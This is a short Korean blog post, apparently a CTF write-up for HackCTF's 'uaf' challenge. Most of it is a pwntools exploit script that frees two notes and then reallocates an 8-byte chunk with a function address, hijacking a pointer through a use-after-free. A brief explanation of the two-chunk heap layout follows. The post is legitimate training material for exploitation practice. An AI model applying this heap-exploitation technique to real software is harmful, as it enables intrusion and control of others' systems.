Profile

youngsouk

youngsouk

[hackctf] uaf

from pwn import *

#p = process('./uaf')
p = remote('ctf.j0n9hyun.xyz', 3021)

context.log_level="debug"

def add_note(size, content):
	p.recv()
	p.sendline('1')
	p.recv()
	p.sendline(size)
	p.recv()
	p.sendline(content)

def del_note(index):
	p.recv()
	p.sendline('2')
	p.recv()
	p.sendline(index)

def p_note(index):
	p.recv()
	p.sendline('3')
	p.recv()	
	p.sendline(index)

magic = 0x08048986

add_note('100','')
add_note('100','')
del_note('0')
del_note('1')

add_note('8',p32(magic))
p_note('0')


p.interactive()

한번 add_note()를 할 때 2개의 힙이 할당된다.

1. 8바이트짜리 우리가 입력한 크기만큼 할당하는 힙주소를 저장하는 힙

2. 우리가 입력한 크기만큼 할당하는 힙 일케 2개가 할당된다.

따라서 이 8바이트짜리 힙을 uaf를 통해 수정할 수 있다.

'CTF write-up > hackctf' 카테고리의 다른 글

[hackctf] you are silver  (0) 2019.07.15
[hackctf]ROP  (0) 2019.07.15
[hackctf]RTL-Core  (0) 2019.07.15
[hack-ctf]1996  (0) 2019.07.15
[hack-ctf]poet  (0) 2019.07.15